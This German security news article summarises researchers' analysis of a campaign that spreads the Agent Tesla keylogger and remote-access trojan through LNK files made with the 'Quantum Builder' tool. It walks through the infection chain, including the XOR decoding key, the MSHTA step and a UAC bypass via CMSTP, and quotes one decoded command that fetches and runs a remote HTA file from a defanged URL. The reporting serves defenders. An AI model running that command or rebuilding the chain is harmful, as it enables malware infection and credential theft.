Quantum Builder verbreitet Trojaner

Gefahr durch Ratten: Agent Tesla ist ein seit 2014 auf .NET-basierter Keylogger und Remote Access Trojaner (RAT). Er wird aktuell über einen im Dark Web verkauften Builder namens „Quantum Builder“ verbreitet.  Die Sicherheitsforscher des Zscaler-ThreatlabZ-Teams haben die aktuelle Kampagne untersucht und eine Weiterentwicklung festgestellt. Die Malware-Autoren setzen nun auf LNK-Dateien (Windows-Verknüpfungen) zur Verbreitung der Payload, für deren Erstellung Quantum Builder (auch bekannt als „Quantum Lnk Builder“) verwendet wird. Der Builder wurde bereits bei Kampagnen in Verbindung mit dem RedLine Stealer, IcedID, GuLoader, dem RemcosRAT und dem AsyncRAT nachgewiesen.

In der aktuellen Kampagne verwenden die Bedrohungsakteure Quantum Builder, um bösartige LNK-, HTA- und PowerShell-Nutzdaten zu generieren, die dann Agent Tesla auf die Zielcomputer übertragen. Die vom Builder generierten Payloads verwenden ausgefeilte Techniken wie die Umgehung der Benutzerkontensteuerung mit der Microsoft Connection Manager Profile Installer (CMSTP)-Binärdatei, um die endgültige Payload mit administrativen Rechten auszuführen und Windows Defender zu umgehen.

Es kommt eine mehrstufige Infektionskette zum Einsatz, die verschiedene Angriffsvektoren mit LOLBins integriert. Um die Erkennung zu umgehen, werden PowerShell-Skripts im Arbeitsspeicher ausgeführt. Darüber hinaus werden die Opfer durch unterschiedliche Täuschungsmanöver von der Infektion abgelenkt.

Die Infektionskette beginnt mit einer Spear-Phishing-E-Mail, die eine LNK-Datei in Form eines GZIP-Archivs enthält. Nach der Ausführung der LNK-Datei ruft der eingebettete PowerShell-Code MSHTA auf, der die auf dem Remote-Server gehostete HTA-Datei ausführt. Die HTA-Datei entschlüsselt dann ein PowerShell-Loader-Skript, das ein weiteres PowerShell-Skript entschlüsselt und lädt, nachdem es eine AES-Entschlüsselung und GZIP-Dekomprimierung durchgeführt hat.

Das entschlüsselte PowerShell-Skript ist das Downloader-PS-Skript, das zunächst die Agent-Tesla-Binärdatei von einem Remote-Server herunterlädt und sie dann mit administrativen Rechten ausführt, indem es eine UAC-Umgehung mit CMSTP durchführt.

Die Spear-Phishing-E-Mail besteht aus einem GZIP-Archiv als Anhang. Dieses Archiv ist mit einer bösartigen .LNK-Datei (Windows Shortcut File) mit einem PDF-Symbol gebündelt, die das Opfer zur Ausführung verleitet.

Nach der Ausführung führt die .LNK-Datei einen verschleierten PowerShell-Code aus, der zunächst zwei Base64-kodierte Zeichenfolgen mithilfe von FromBase64String() entschlüsselt und dann die beiden entschlüsselten Zeichenfolgen mithilfe eines fest kodierten Ein-Byte-XOR-Schlüssels XOR-entschlüsselt: 0x77. Die entschlüsselten Strings werden dann zu folgendem Befehl kombiniert „IEX mshta https[:]//filebin.net/njqyvfot61w0tu9a/ordr[.]hta“

Der Builder verwendet außerdem Techniken wie Decoys, UAC Prompts und In-Memory PowerShell, um die endgültige Payload auszuführen. Sie alle werden immer wieder aktualisiert, es handelt sich also um ein Servicepaket der Malware-Entwickler.

Bedrohungsakteure entwickeln ihre Taktiken ständig weiter und nutzen dafür Software wie Malware-„Builder“, die auf einschlägigen Cybercrime-Marktplätzen im Darknet verkauft werden. Die Agent Tesla-Kampagne ist die jüngste einer Reihe von ähnlich aufgebauten Aktivitäten, bei denen Quantum Builder zur Erstellung bösartiger Nutzdaten in Kampagnen gegen Organisationen verwendet wurde. Die eingesetzten Techniken werden von den Malware-Entwicklern regelmäßig aktualisiert und an die neuen Sicherheitsmechanismen angepasst.